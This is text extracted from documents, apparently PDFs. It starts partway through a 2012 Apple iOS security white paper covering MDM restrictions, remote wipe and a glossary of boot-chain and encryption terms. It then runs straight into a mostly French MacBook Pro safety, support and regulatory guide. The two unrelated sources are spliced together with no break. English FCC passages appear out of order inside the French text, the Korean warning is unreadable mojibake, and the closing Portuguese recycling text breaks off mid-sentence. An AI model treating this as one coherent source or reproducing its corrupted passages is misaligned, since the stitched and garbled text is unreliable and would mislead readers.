Configuration Utility. Configuration profiles can be downloaded via email or
over-the-air using an MDM server.
Mobile Device Management
iOS support for MDM allows businesses to securely configure and manage scaled iPhone
and iPad deployments across their organizations. MDM capabilities are built on existing
iOS technologies such as Configuration Profiles, Over-the-Air Enrollment, and the Apple
Push Notification service. Using MDM, IT departments can enroll iOS devices in an
enterprise environment, wirelessly configure and update settings, monitor compliance
with corporate policies, and even remotely wipe or lock managed devices. For more
information on Mobile Device Management, visit www.apple.com/business/mdm.
Device Restrictions
Administrators can restrict device features by installing a configuration profile.
The following restrictions are available:
• Allow app installs
• Allow use of camera
• Allow FaceTime
• Allow screen capture
• Allow voice dialing
• Allow automatic sync while roaming
• Allow in-app purchases
• Force user to enter store password for all purchases
• Allow multiplayer gaming
• Allow adding Game Center Friends
• Allow Siri17
• Allow Siri while device is locked
• Allow use of YouTube
• Allow use of iTunes Store
• Allow use of Safari
• Enable Safari autofill
• Force Fraudulent Website Warning
• Enable JavaScript
• Block pop-ups
• Accept cookies
• Allow iCloud backup
• Allow iCloud document sync
• Allow Photo Stream
• Allow diagnostics to be sent to Apple
• Allow user to accept untrusted TLS certificates
• Force encrypted backups
• Restrict media by content rating
Remote Wipe
iOS devices can be erased remotely by an administrator or user. Instant remote wiping
is achieved by securely discarding the block storage encryption key from Effaceable
Storage, rendering all data unreadable. Remote wiping can be initiated by MDM,
Exchange, or iCloud.
When remote wiping is triggered by MDM or iCloud, the device sends an acknowledgment and performs the wipe. For remote wiping via Exchange, the device checks in
with the Exchange Server before performing the wipe.
Users can also wipe devices in their possession using the Settings app. And as
mentioned, devices can be set to automatically wipe after a series of failed
passcode attempts.Conclusion
A Commitment to Security
Each component of the iOS security platform, from hardware to encryption to device
access, provides organizations with the resources they need to build enterprise-grade
security solutions. The sum of these parts gives iOS its industry-leading security features,
without making the device difficult or cumbersome to use.
Apple uses this security infrastructure throughout iOS and the iOS apps ecosystem.
Hardware-based storage encryption provides instant remote wipe capabilities when a
device is lost, and ensures that users can completely remove all corporate and personal
information when a device is sold or transferred to another owner. For the collection of
diagnostic information, unique identifiers are created to identify a device anonymously.
Safari offers safe browsing with its support for OCSP, EV certificates, and certificate verification warnings. Mail leverages certificates for authenticated and encrypted email by
supporting S/MIME. iMessage and FaceTime provide client-to-client encryption as well.
The combination of required code signing, sandboxing, and entitlements in apps
provides solid protection against viruses, malware, and other exploits that compromise
the security of other platforms. The App Store submission process works to further
protect users from these risks by reviewing every app before it’s made available for sale.
Businesses are encouraged to review their IT and security policies to ensure they are
taking full advantage of the layers of security technology and features offered by the
iOS platform.
Apple maintains a dedicated security team to support all Apple products. The team
provides security auditing and testing for products under development as well as
released products. The Apple team also provides security tools and training, and
actively monitors for reports of new security issues and threats. Apple is a member
of the Forum of Incident Response and Security Teams (FIRST). For information
about reporting issues to Apple and subscribing to security notifications, go to
apple.com/support/security.
Apple is committed to incorporating proven encryption methods and creating modern
mobile-centric privacy and security technologies to ensure that iOS devices can be
used with confidence in any personal or corporate environment.
1819
Address space layout
randomization (ASLR)
A technique employed by iOS to make the successful exploitation of a software bug
much more difficult. By ensuring memory addresses and offsets are unpredictable,
exploit code can’t hard code these values. In iOS 5, the position of all system apps
and libraries are randomized, along with all third-party apps compiled as positionindependent executables.
Boot ROM The very first code executed by a device’s processor when it first boots. As an integral
part of the processor, it can’t be altered by either Apple or an attacker.
Data Protection File and keychain protection mechanism for iOS. It can also refer to the APIs that apps
use to protect files and keychain items.
DFU A mode in which a device’s Boot ROM code waits to be recovered over USB. The
screen is black when in DFU mode, but upon connecting to a computer running
iTunes, the following prompt is presented: “iTunes has detected an iPad in recovery
mode. You must restore this iPad before it can be used with iTunes.”
ECID A 64-bit identifier that’s unique to the processor in each iOS device. Used as part of
the personalization process, it’s not considered a secret.
Effaceable Storage A dedicated area of NAND storage, used to store cryptographic keys, that can be
addressed directly and wiped securely. While it doesn’t provide protection if an
attacker has physical possession of a device, keys held in Effaceable Storage can be
used as part of a key hierarchy to facilitate fast wipe and forward security.
File system key The key that encrypts each file’s metadata, including its class key. This is kept in
Effaceable Storage to facilitate fast wipe, rather than confidentiality.
GID Like the UID but common to every processor in a class.
iBoot Code that’s loaded by LLB, and in turn loads XNU, as part of the secure boot chain.
Keybag A data structure used to store a collection of class keys. Each type (System, Backup,
Escrow, or iCloud Backup) has the same format:
• A header containing:
– Version (set to 3 in iOS 5)
– Type (System, Backup, Escrow, or iCloud Backup)
– Keybag UUID
– An HMAC if the keybag is signed
– The method used for wrapping the class keys: tangling with the UID or PBKDF2, along
with the salt and iteration count
• A list of class keys:
– Key UUID
– Class (which file or keychain Data Protection class this is)
– Wrapping type (UID-derived key only; UID-derived key and passcode-derived key)
– Wrapped class key
– Public key for asymmetric classes
Glossary20
Keychain The infrastructure and a set of APIs used by iOS and third-party apps to store and
retrieve passwords, keys, and other sensitive credentials.
Key wrapping Encrypting one key with another. iOS uses NIST AES key wrapping, as per RFC 3394.
Low-Level Bootloader (LLB) Code that’s invoked by the Boot ROM, and in turn loads iBoot, as part of the secure
boot chain.
Per-file key The AES 256-bit key used to encrypt a file on the file system. The per-file key is
wrapped by a class key and is stored in the file’s metadata.
Provisioning profile A plist signed by Apple that contains a set of entities and entitlements allowing apps
to be installed and tested on an iOS device. A development provisioning profile lists
the devices that a developer has chosen for ad hoc distribution, and a distribution
provisioning profile contains the app ID of an enterprise-developed app.
Tangling The process by which a user’s passcode is turned into a cryptographic key and
strengthened with the device’s UID. This ensures that a brute-force attack must be
performed on a given device, and thus is rate limited and cannot be performed in
parallel. The tangling algorithm is PBKDF2, which uses AES as the pseudorandom
function (PRF) with a UID-derived key.
UID A 256-bit AES key that’s burned into each processor at manufacture. It cannot be read
by firmware or software, and is used only by the processor’s hardware AES engine.
To obtain the actual key, an attacker would have to mount a highly sophisticated
and expensive physical attack against the processor’s silicon. The UID is not related
to any other identifier on the device including, but not limited to, the UDID.
XNU The kernel at the heart of the iOS and OS X operating systems. It’s assumed to be
trusted, and enforces security measures such as code signing, sandboxing, entitlement
checking, and ASLR.
Yarrow A cryptographically secure pseudorandom number generator algorithm. An implementation of Yarrow in iOS takes entropy generated by various system events and produces
unpredictable random numbers that can be used, for example, as encryption keys.
© 2012 Apple Inc. All rights reserved. Apple, the Apple logo, FaceTime, iPad, iPhone, iPod touch, iTunes, Keychain, OS X, Safari, Siri,
and Xcode are trademarks of Apple Inc., registered in the U.S. and other countries. iMessage is a trademark of Apple Inc. iCloud
and iTunes Store are service marks of Apple Inc., registered in the U.S. and other countries. App Store is a service mark of Apple Inc.
The Bluetooth® word mark and logos are registered trademarks owned by Bluetooth SIG, Inc. and any use of such marks by Apple
is under license. Other product and company names mentioned herein may be trademarks of their respective companies. Product
specifications are subject to change without notice. May 2012
Guide d’informations
importantes sur le produit
MacBook ProEau et endroits humides Évitez de placer votre
MacBook Pro à proximité de sources de liquide telles que des
boissons, un évier, un lavabo, une baignoire ou une douche,
par exemple. Protégez votre MacBook Pro de l’humidité et
des intempéries (neige, pluie et brouillard par exemple).
Adaptateur secteur MagSafe 2 85 W N’utilisez que
l’adaptateur secteur qui accompagne le MacBook Pro ou,
au besoin, un adaptateur secteur agréé Apple compatible
avec ce produit. Veillez à ce que la fiche ou le câble
d’alimentation secteur CA soit totalement enclenché dans
l’adaptateur secteur avant de brancher ce dernier sur une
prise de courant.
L’adaptateur secteur peut chauffer au cours d’une utilisation
normale de l’appareil. L’adaptateur secteur MagSafe 2
respecte les limites de température de surfaces accessible à
l’utilisateur définies par la norme IEC 6590-1 (International
Standard for Safety of Information Technology Equipment),
Pour réduire la possibilité de surchauffe de l’adaptateur
secteur et de blessures liées à la chaleur, effectuez l’une des
actions suivantes :
 Branchez directement l’adaptateur secteur à une prise
secteur.
Fiche CA Connecteur MagSafe 2
Adaptateur secteur MagSafe 2
 Si vous utilisez le cordon d’alimentation secteur, placez
l’adaptateur secteur sur un bureau, une table ou le sol,
dans un endroit bien ventilé.
Connecteur MagSafe 2
Adaptateur secteur MagSafe 2
Câble secteur
Débranchez l’adaptateur secteur et débranchez tous les
autres câbles si l’un des cas suivants se présente :
 Vous souhaitez nettoyer le boîtier (pour ce faire, suivez à la
lettre les instructions fournies à la page suivante).
 La prise ou le câble d’alimentation est endommagé.
 Le MacBook Pro ou l’adaptateur secteur est exposé à la
pluie ou à une humidité excessive, ou du liquide a été
versé dans le boîtier.
 Le MacBook Pro ou l’adaptateur secteur a subi une chute,
le boîtier a été endommagé ou vous pensez qu’une
réparation est nécessaire.
Le port secteur MagSafe 2 (sur lequel vous branchez le
connecteur MagSafe 2) contient un aimant qui peut effacer les
données d’une carte de crédit, d’un iPod ou d’autres appareils.
Ce Guide d’informations importantes sur le produit contient
des informations relatives à la sécurité, à la manipulation,
à l’élimination et au recyclage, à la réglementation et à la
licence logicielle, ainsi que la garantie limitée d’un an pour
votre MacBook Pro de 15 pouces.
±Afin d’éviter toute blessure, consultez les
informations relatives à la sécurité ci-dessous,
ainsi que le mode d’emploi, avant d’utiliser le
MacBook Pro. Une version téléchargeable du
Guide de démarrage rapide du MacBook Pro et
la plus récente version de ce Guide d’informations
importantes sur le produit sont disponibles à la
page : support.apple.com/manuals/macbookpro
Informations importantes de sécurité
et de manipulation
AVERTISSEMENT : Ne pas suivre ces consignes pourrait
déclencher un feu, occasionner des décharges électriques
ou entraîner tout type de blessure ou dommage du
MacBook Pro ou autre.
Batterie intégrée Ne retirez pas la batterie de votre
MacBook Pro. La batterie doit être remplacée uniquement
par un Centre de services agréé Apple Abandonnez toute
utilisation de votre MacBook Pro après une chute ou s’il
semble avoir été écrasé, plié, déformé ou endommagé.
N’exposez pas votre MacBook Pro à des sources extrêmes
de chaleur, telles que des radiateurs ou des cheminées, où la
température est susceptible d’excéder 100 °C.
Manipulation correcte La partie inférieure du MacBook Pro
peut chauffer au cours d’une utilisation normale de l’appareil.
Le MacBook Pro respecte les limites de température de
surfaces accessible à l’utilisateur définies par la norme
IEC 6590-1 (International Standard for Safety of Information
Technology Equipment).
Pour un fonctionnement de l’ordinateur en toute sécurité et
une réduction de la possibilité de blessures liées à la chaleur,
suivez les directives suivantes :
 Installez le MacBook Pro sur un plan de travail stable
en veillant à ce que l’air puisse circuler librement sous
l’ordinateur et autour de celui-ci.
 N’utilisez pas le MacBook Pro en le posant sur un coussin,
une couverture ou tout autre objet de structure non
solide, car cela pourrait empêcher les conduits d’aération
de fonctionner correctement.
 Évitez également de placer des objets sur le clavier lorsque
vous utilisez votre MacBook Pro.
 N’introduisez aucun objet dans les ouvertures servant à
la ventilation.
 Si votre MacBook Pro est posé sur vos genoux et que la
chaleur qu’il dégage vous gêne, posez-le plutôt sur un
plan de travail stable.Manipulation des parties en verre Votre MacBook Pro
contient des composants en verre, notamment l’écran et
le trackpad. Si ces parties sont abîmées, n’utilisez pas votre
MacBook Pro tant qu’il n’a pas été réparé par un Centre de
Services Agréé Apple.
Stockage du MacBook Pro Si vous décidez de ranger le
MacBook Pro pendant une longue période, placez-le dans un
endroit frais (idéalement, à 22 °C), et déchargez la batterie
à 50 pour cent. Avant de ranger votre ordinateur pour une
période supérieure à cinq mois, déchargez la batterie à
environ 50 pour cent. Pour conserver les capacités de la
batterie, rechargez la batterie jusqu’à 50 pour cent tous les
six mois environ.
Nettoyage du MacBook Pro Pour nettoyer le boîtier de
votre MacBook Pro et de ses composants, éteignez d’abord le
MacBook Pro et débranchez l’adaptateur secteur. Humidifiez
ensuite le chiffon fourni et essuyez le MacBook Pro. Évitez les
infiltrations d’humidité par quelque ouverture que ce soit.
Ne vaporisez jamais de liquide directement sur l’ordinateur.
N’utilisez ni aérosols, ni dissolvants, ni abrasifs qui pourraient
endommager les finitions de l’appareil.
Nettoyage de l’écran du MacBook Pro Pour nettoyer
l’écran du MacBook Pro, éteignez d’abord le MacBook Pro et
débranchez l’adaptateur secteur. Humidifiez ensuite, à l’eau
seulement, le chiffon fourni et essuyez l’écran. Ne vaporisez
jamais de liquide directement sur l’écran.
Ergonomie
Voici quelques conseils pour la mise en place d’un
environnement de travail sain.
Clavier et trackpad
Lorsque vous tapez au clavier ou que vous vous servez du
trackpad, vos épaules doivent être détendues. Le bras et
l’avant-bras doivent former un angle droit, la main étant
placée dans le prolongement du poignet.
Position
à éviter
Position
recommandée
Vous devez avoir les mains et les doigts détendus lorsque
vous tapez au clavier ou que vous utilisez le trackpad. Évitez
de replier les pouces à l’intérieur des paumes.
Position
à éviter
Position
recommandée
Pour protéger vos données, ne placez pas de matériaux
ou d’appareils à sensibilité magnétique (comme ceux cités
précédemment ou autres) à moins de 25 mm de ce port.
Si des résidus quelconques se trouvent dans le port secteur
MagSafe 2, enlevez-les doucement à l’aide d’un bâtonnet
de coton.
Spécifications de l’alimentation MagSafe 2 :
Fréquence : phase unique de 50 à 60 Hz
Tension de secteur : de 100 à 240 V
Tension de sortie : 20 V DC, 4,25 A
Diminution de l’acuité auditive Vous risquez une perte
d’audition irréparable si vous utilisez un casque ou des
écouteurs à un volume sonore élevé. L’oreille peut s’adapter
petit à petit à des volumes sonores de plus en plus élevés
qui peuvent sembler normaux,mais qui risquent à la longue
d’endommager votre système auditif. En cas de sifflements
ou de perte d’acuité auditive, arrêtez d’utiliser le casque ou
les écouteurs et consultez un médecin. Plus le volume est
élevé, plus votre audition risque d’être affectée rapidement.
Pour protéger votre système auditif, les spécialistes
conseillent de prendre les mesures suivantes :
 Limitez la durée d’utilisation à volume élevé de vos
écouteurs ou de votre casque d’écoute.
 Évitez d’augmenter le volume afin de bloquer les bruits
environnants.
 Baissez le volume si vous ne parvenez pas à entendre une
personne qui parle à côté de vous.
Activités à haut risque Cet ordinateur n’est pas conçu
pour être utilisé dans des installations nucléaires, pour la
navigation ou la communication aérienne, pour le contrôle
du trafic aérien, ni dans aucune autre situation où une panne
du système informatique pourrait entraîner la mort, des
blessures ou de graves dommages écologiques.
Environnement d’utilisation L’utilisation de votre
MacBook Pro en dehors de ces plages peut gêner son bon
fonctionnement :
Température de fonctionnement : de 10 à 35 °C
Température de stockage : de -20 à 45 °C
Humidité relative : de 5 % à 90 % (sans condensation)
Altitude de fonctionnement : de 0 à 3 048 mètres
Transport du MacBook Pro Si vous transportez le
MacBook Pro dans un sac ou dans un attaché-case, assurezvous que ce dernier ne contient pas d’objets non attachés
(des trombones ou des pièces de monnaie, par exemple) qui
pourraient pénétrer accidentellement dans l’ordinateur par
une ouverture ou se coincer à l’intérieur d’un port. Maintenez
également à l’écart du port secteur MagSafe 2 tout objet à
sensibilité magnétique.
Utilisation des connecteurs et des ports Ne forcez jamais
un connecteur à entrer dans un port. Lorsque vous branchez
un appareil, assurez-vous que le port ne contient aucun résidu
quelconque, que le connecteur correspond bien au port et
qu’il est placé de manière à entrer correctement dans le port.Centre d’aide
Vous pouvez trouver des réponses à vos questions ainsi
que des instructions et des informations concernant le
dépannage dans le Centre d’aide. Cliquez sur l’icône Finder,
cliquez sur Aide dans la barre des menus et choisissez
Centre d’aide.
Informations en ligne
Pour obtenir des informations en ligne sur le service et
l’assistance, consultez la page www.apple.com/fr/support
et choisissez votre pays dans le menu local. Vous pouvez
faire des recherches dans la base de données AppleCare
Knowledge Base, vérifier si de nouvelles mises à jour de
logiciels sont disponibles ou obtenir de l’aide dans les forums
de discussion Apple.
Informations système
Pour obtenir des informations sur votre MacBook Pro, servezvous d’Informations système. Cette application vous fournit
la liste des composants matériels et des logiciels installés, le
numéro de série et de version du système d’exploitation, la
quantité de mémoire installée, etc. Pour ouvrir Informations
système, choisissez le menu Pomme () > À propos de ce
Mac dans la barre des menus, puis cliquez sur Plus d’infos.
Apple Hardware Test
Utilisez l’application Apple Hardware Test (AHT) pour
savoir s’il y a un problème avec les composants matériels
de l’ordinateur (les composants affectés peuvent être la
mémoire ou le processeur, par exemple).
Pour utiliser Apple Hardware Test : Déconnectez tous les
périphériques externes de votre ordinateur, sauf l’adaptateur
secteur. Redémarrez ensuite votre ordinateur en maintenant
la touche D enfoncée lors du démarrage. Lorsque l’écran de
sélection d’AHT s’affiche, choisissez votre langue. Appuyez
sur la touche Retour ou cliquez sur la flèche droite. Lorsque
l’écran principal d’AHT s’affiche (après 45 secondes environ),
suivez les instructions à l’écran. En cas de détection d’un
problème, AHT affiche un code d’erreur. Notez le code
d’erreur avant d’entreprendre les démarches d’assistance.
Si AHT ne détecte pas de panne matérielle, il est probable
que le problème soit lié aux logiciels.
Service et assistance AppleCare
Votre MacBook Pro bénéficie d’une assistance technique
de 90 jours et d’un an de couverture pour les réparations
de matériel effectuées dans les magasins Apple Store ou
les centres de réparation agréés Apple, tels que les Centres
de services agréés Apple. Vous avez la possibilité d’étendre
la durée de cette couverture en adhérant à un programme
AppleCare Protection Plan. Pour en savoir plus, consultez
la page www.apple.com/fr/support/products ou le site web
correspondant à votre pays (la liste figure plus loin dans
cette section).
Modifiez fréquemment la position de vos mains pour éviter
la fatigue. Après un travail continu et intensif sur ordinateur,
certains utilisateurs peuvent ressentir des douleurs aux
mains, aux poignets ou aux bras. Si ces douleurs persistent,
consultez un spécialiste.
Souris externe
Si vous utilisez une souris externe, veillez à ce qu’elle se
trouve à hauteur du clavier. Ménagez un espace suffisant
pour la manipuler avec aisance.
Siège
Optez pour un siège de bureau réglable et offrant un dossier
et une assise confortables. Réglez la hauteur du siège de telle
sorte que vos cuisses reposent à l’horizontale et vos pieds à
plat sur le sol. Le dossier du siège doit soutenir votre région
lombaire, c’est-à-dire la partie inférieure de votre dos. Suivez
les instructions du fabricant de sorte que le réglage du
dossier soit parfaitement adapté à votre morphologie.
Au besoin, relevez le siège de manière à ce que vos avantbras et vos mains soient placés correctement par rapport
au clavier. Si, dans ce cas, vos pieds ne reposent plus à plat
sur le sol, utilisez un repose-pied inclinable et réglable en
hauteur. Si vous disposez d’un bureau modulaire, vous
pouvez abaisser le niveau du plan de travail pour éviter
l’emploi d’un repose-pied. Une troisième solution consiste à
utiliser un bureau dont le poste de saisie est situé plus bas
que le plan de travail.
Écran intégré
Orientez l’écran de manière à minimiser les reflets des lampes
et fenêtres alentour. Ne forcez pas l’écran si vous rencontrez
une résistance. L’angle d’ouverture maximal de l’écran ne
peut dépasser 135 degrés.
Réglez la luminosité et le contraste de l’écran chaque fois que
vous déplacez l’ordinateur ou que l’éclairage ambiant change.
Vous trouverez d’autres informations concernant l’ergonomie
sur Internet : www.apple.com/about/ergonomics (en anglais)
Apple et l’environnement
Apple Inc. reconnaît sa responsabilité en matière de
réduction de l’impact de ses produits et de ses activités sur
l’environnement.
Des informations supplémentaires sont disponibles sur
Internet :www.apple.com/fr/environment
Informations, services et assistance
Votre MacBook Pro ne contient aucune pièce réparable par
l’utilisateur. Si vous avez besoin de services de réparation,
adressez-vous à Apple ou déposez votre MacBook Pro dans
un Centre de Services Agréé Apple. Vous trouverez de plus
amples informations sur le MacBook Pro dans le Centre
d’aide, en ligne, dans Informations système et via Apple
Hardware Test. Move the computer farther away from the television
or radio.
 Plug the computer into an outlet that is on a different
circuit from the television or radio. (That is, make certain
the computer and the television or radio are on circuits
controlled by different circuit breakers or fuses.)
If necessary, consult an Apple Authorized Service Provider or
Apple. See the service and support information that came
with your Apple product. Or consult an experienced radio/
television technician for additional suggestions.
Important: Changes or modifications to this product not
authorized by Apple Inc. could void the EMC compliance and
negate your authority to operate the product.
This product has demonstrated EMC compliance under
conditions that included the use of compliant peripheral
devices and shielded cables (including Ethernet network
cables) between system components. It is important that
you use compliant peripheral devices and shielded cables
between system components to reduce the possibility of
causing interference to radios, television sets, and other
electronic devices.
Responsible party (contact for FCC matters only):
Apple Inc. Corporate Compliance
1 Infinite Loop, MS 91-1EMC
Cupertino, CA 95014
Wireless Radio Use
This device is restricted to indoor use when operating in the
5.15 to 5.25 GHz frequency band.
Cet appareil doit être utilisé à l’intérieur.
Exposure to Radio Frequency Energy
The radiated output power of the AirPort Extreme
technology is below the FCC and EU radio frequency
exposure limits. Nevertheless, it is advised to use the wireless
equipment in such a manner that the potential for human
contact during normal operation is minimized.
FCC Bluetooth® Wireless Compliance
The antenna used with this transmitter must not be
colocated or operated in conjunction with any other antenna
or transmitter subject to the conditions of the FCC Grant.
Canadian Compliance Statement
This device complies with Industry Canada license-exempt
RSS standard(s). Operation is subject to the following two
conditions: (1) this device may not cause interference,
and (2) this device must accept any interference, including
interference that may cause undesired operation of the
device.
Si vous avez besoin d’assistance, le personnel d’assistance par
téléphone AppleCare peut vous aider à installer et à ouvrir
les applications, et propose des services de dépannage.
Appelez le centre d’assistance le plus proche de chez vous
(gratuit pendant les 90 premiers jours). Gardez la date d’achat
et le numéro de série de votre MacBook Pro à portée de main
lorsque vous appelez.
La période de 90 jours d’assistance gratuite par téléphone
débute à la date d’achat.
France : (33) 0805 540 003
France DOM-TOM : (33) 0825 77 00 35
Belgique : (32) 070 700 773
Suisse : (41) 0848 000 132
www.apple.com/support/country
Les numéros de téléphone sont susceptibles d’être modifiés.
Les tarifs téléphoniques locaux et nationaux peuvent
s’appliquer. Une liste complète est disponible sur Internet :
www.apple.com/fr/support/contact
Regulatory Compliance Information
FCC Compliance Statement
This device complies with part 15 of the FCC rules. Operation
is subject to the following two conditions: (1) This device
may not cause harmful interference, and (2) this device must
accept any interference received, including interference
that may cause undesired operation. See instructions if
interference to radio or television reception is suspected.
Radio and Television Interference
This computer equipment generates, uses, and can
radiate radio-frequency energy. If it is not installed and
used properly—that is, in strict accordance with Apple’s
instructions—it may cause interference with radio and
television reception.
This equipment has been tested and found to comply with
the limits for a Class B digital device in accordance with the
specifications in Part 15 of FCC rules. These specifications
are designed to provide reasonable protection against such
interference in a residential installation. However, there is
no guarantee that interference will not occur in a particular
installation.
You can determine whether your computer system is causing
interference by turning it off. If the interference stops, it was
probably caused by the computer or one of the peripheral
devices.
If your computer system does cause interference to radio or
television reception, try to correct the interference by using
one or more of the following measures:
 Turn the television or radio antenna until the interference
stops.
 Move the computer to one side or the other of the
television or radio. Français Par la présente Apple Inc. déclare que l’appareil
MacBook Pro est conforme aux exigences essentielles et aux
autres dispositions pertinentes de la directive 1999/5/CE.
Islenska Apple Inc. lýsir því hér með yfir að þetta tæki
MacBook Pro fullnægir lágmarkskröfum og öðrum
viðeigandi ákvæðum Evróputilskipunar 1999/5/EC.
Italiano Con la presente Apple Inc. dichiara che questo
dispositivo MacBook Pro è conforme ai requisiti essenziali
ed alle altre disposizioni pertinenti stabilite dalla direttiva
1999/5/CE.
Latviski Ar šo Apple Inc. deklarē, ka MacBook Pro ierīce
atbilst Direktīvas 1999/5/EK būtiskajām prasībām un citiem
ar to saistītajiem noteikumiem.
Lietuvių Šiuo „Apple Inc.“ deklaruoja, kad šis MacBook Pro
atitinka esminius reikalavimus ir kitas 1999/5/EB Direktyvos
nuostatas.
Magyar Alulírott, Apple Inc. nyilatkozom, hogy
a MacBook Pro megfelel a vonatkozó alapvetõ
követelményeknek és az 1999/5/EC irányelv egyéb
elõírásainak.
Malti Hawnhekk, Apple Inc., jiddikjara li dan MacBook Pro
jikkonforma mal-ħtiġijiet essenzjali u ma provvedimenti
oħrajn relevanti li hemm fid-Dirrettiva 1999/5/EC.
Nederlands Hierbij verklaart Apple Inc. dat het toestel
MacBook Pro in overeenstemming is met de essentiële eisen
en de andere bepalingen van richtlijn 1999/5/EG.
Norsk Apple Inc. erklærer herved at dette MacBook Pro
-apparatet er i samsvar med de grunnleggende kravene og
øvrige relevante krav i EU-direktivet 1999/5/EF.
Polski Niniejszym Apple Inc. oświadcza, że ten MacBook Pro
są zgodne z zasadniczymi wymogami oraz pozostałymi
stosownymi postanowieniami Dyrektywy 1999/5/EC.
Português Apple Inc. declara que este dispositivo
MacBook Pro está em conformidade com os requisitos
essenciais e outras disposições da Directiva 1999/5/CE.
Română Prin prezenta, Apple Inc. declară că acest aparat
MacBook Pro este în conformitate cu cerinţele esenţiale şi cu
celelalte prevederi relevante ale Directivei 1999/5/CE.
Slovensko Apple Inc. izjavlja, da je ta MacBook Pro skladne
z bistvenimi zahtevami in ostalimi ustreznimi določili
direktive 1999/5/ES.
Slovensky Apple Inc. týmto vyhlasuje, že toto MacBook Pro
spĺňa základné požiadavky a všetky príslušné ustanovenia
Smernice 1999/5/ES.
Suomi Apple Inc. vakuuttaa täten, että tämä MacBook Pro
tyyppinen laite on direktiivin 1999/5/EY oleellisten
vaatimusten ja sitä koskevien direktiivin muiden ehtojen
mukainen.
Svenska Härmed intygar Apple Inc. att denna MacBook Pro
står i överensstämmelse med de väsentliga egenskapskrav
och övriga relevanta bestämmelser som framgår av direktiv
1999/5/EG.
Cet appareil est conforme aux normes CNR exemptes de
licence d’Industrie Canada. Le fonctionnement est soumis
aux deux conditions suivantes : (1) cet appareil ne doit
pas provoquer d’interférences et (2) cet appareil doit
accepter toute interférence, y compris celles susceptibles de
provoquer un fonctionnement non souhaité de l’appareil.
Bluetooth Industry Canada Statement
This Class B device meets all requirements of the Canadian
interference-causing equipment regulations.
Cet appareil numérique de la Class B respecte toutes les
exigences du Règlement sur le matériel brouilleur du Canada.
Industry Canada Statement
Complies with the Canadian ICES-003 Class B specifications.
Cet appareil numérique de la classe B est conforme à la
norme NMB-003 du Canada. This device complies with RSS
210 of Industry Canada.
European Compliance Statement
This product complies with the requirements of European
Directives 2006/95/EC, 2004/108/EC, and 1999/5/EC.
Europe–EU Declaration of Conformity
Български Apple Inc. декларира, че това MacBook Pro е
в съответствие със съществените изисквания и другите
приложими правила на Директива 1999/5/ЕС.
Česky Společnost Apple Inc. tímto prohlašuje, že tento
MacBook Pro je ve shodě se základními požadavky a dalšími
příslušnými ustanoveními směrnice 1999/5/ES.
Dansk Undertegnede Apple Inc. erklærer herved, at
følgende udstyr MacBook Pro overholder de væsentlige
krav og øvrige relevante krav i direktiv 1999/5/EF.
Deutsch Hiermit erklärt Apple Inc., dass sich das
MacBook Pro in Übereinstimmung mit den grundlegenden
Anforderungen und den übrigen einschlägigen
Bestimmungen der Richtlinie 1999/5/EG befinden.
Eesti Käesolevaga kinnitab Apple Inc., et see MacBook Pro
vastab direktiivi 1999/5/EÜ põhinõuetele ja nimetatud
direktiivist tulenevatele teistele asjakohastele sätetele.
English Hereby, Apple Inc. declares that this MacBook Pro
is in compliance with the essential requirements and other
relevant provisions of Directive 1999/5/EC.
Español Por medio de la presente Apple Inc. declara que
este MacBook Pro cumple con los requisitos esenciales y
cualesquiera otras disposiciones aplicables o exigibles de la
Directiva 1999/5/CE.
Ελληνικά Mε την παρούσα, η Apple Inc. δηλώνει ότι αυτή
η συσκευή MacBook Pro συμμορφώνεται προς τις βασικές
απαιτήσεις και τις λοιπές σχετικές διατάξεις της Οδηγίας
1999/5/ΕΚ.警告
本電池如果更換不正確會有爆炸的危險
請依製造商說明書處理用過之電池
Japan VCCI Class B Statement
Russia
Informations sur le modem externe USB
Lorsque vous connectez votre MacBook Pro à la ligne
téléphonique à l’aide d’un modem externe USB, référez-vous
à la section relative à l’entreprise de télécommunications
dans la documentation fournie avec le modem.
ENERGY STAR® Compliance
As an ENERGY STAR® partner, Apple has determined that
standard configurations of this product meet the ENERGY
STAR® guidelines for energy efficiency. The ENERGY STAR®
program is a partnership with electronic equipment
manufacturers to promote energy-efficient products.
Reducing energy consumption of products saves money and
helps conserve valuable resources.
This computer is shipped with power management enabled
with the computer set to sleep after 10 minutes of user
inactivity. To wake your computer, click the mouse or
trackpad button or press any key on the keyboard.
For more information about ENERGY STAR®, visit:
www.energystar.gov
A copy of the EU Declaration of Conformity is available at:
www.apple.com/euro/compliance
This equipment can be used in the following countries:
European Community Restrictions
Français Pour usage en intérieur uniquement. Consultez
l’Autorité de Régulation des Communications Electroniques
et des Postes (ARCEP) pour connaître les limites d’utilisation
des canaux 1 à 13. www.arcep.fr
Korea Warning Statements
Bૺૺ(ਜ਼ႜဧ෮ቛཅૺၴႁ)
ၦૺૺ௴ਜ਼ႜဧ(B) ႖ၴኒ႕ጁૺૺചച
ਜ਼ႜຫဧዻ௴ઇၕඛ႕ၒചዻඑ, ක౷ხ
ຫဧዾ༘ၰཀఁఋ.
෮ቛ၁ધགྷಋ൏ધხຫጃ
ጄఙඳ໓໕๗௴ဪဧთ႖ኒጯཅਜ਼ໜၦၰၗ
ၦૺૺ௴ၨྦ႖શഏౘ๗༺ຫဧዾ༘࿖ཀఁఋ
ఝዽූ ૬ႜ ෟ ა༘
Singapore Wireless Certification
Taiwan Wireless Statements
Taiwan Class B StatementChina Battery Statement
Taiwan Battery Statement
Remplacement de la batterie
La batterie rechargeable doit être remplacée uniquement par
Apple ou un Centre de services agréé Apple. Pour en savoir
plus sur les services de remplacement de la batterie, consultez
le site : http://www.apple.com/fr/batteries/replacements.html
Battery Charger Efficiency
020-5563-A
EFUP15china
Informations sur l’élimination et le recyclage
Le symbole ci-dessus signifie que vous devez vous
débarrasser de votre produit selon les normes et la législation
de votre pays. Lorsque votre produit n’est plus utilisable,
contactez Apple ou les autorités locales afin de connaître les
possibilités de recyclage.
Pour en savoir plus sur le programme de recyclage Apple,
consultez le site : www.apple.com/fr/environment/recycling
European Union—Disposal Information
The symbol above means that according to local laws and
regulations your product should be disposed of separately
from household waste. When this product reaches its end
of life, take it to a collection point designated by local
authorities. Some collection points accept products for free.
The separate collection and recycling of your product at the
time of disposal will help conserve natural resources and
ensure that it is recycled in a manner that protects human
health and the environment.
Türkiye
EEE yönetmeliğine (Elektrikli ve Elektronik Eşyalarda Bazı
Zararlı Maddelerin Kullanımının Sınırlandırılmasına Dair
Yönetmelik) uygundur.
Brasil—Informações sobre descarte e reciclagem
O símbolo acima indica que este produto e/ou sua bateria
não devem ser descartadas no lixo doméstico. Quando
decidir descartar este produto e/ou sua bateria, faça-o
de acordo com as leis e diretrizes ambientais locais. Para
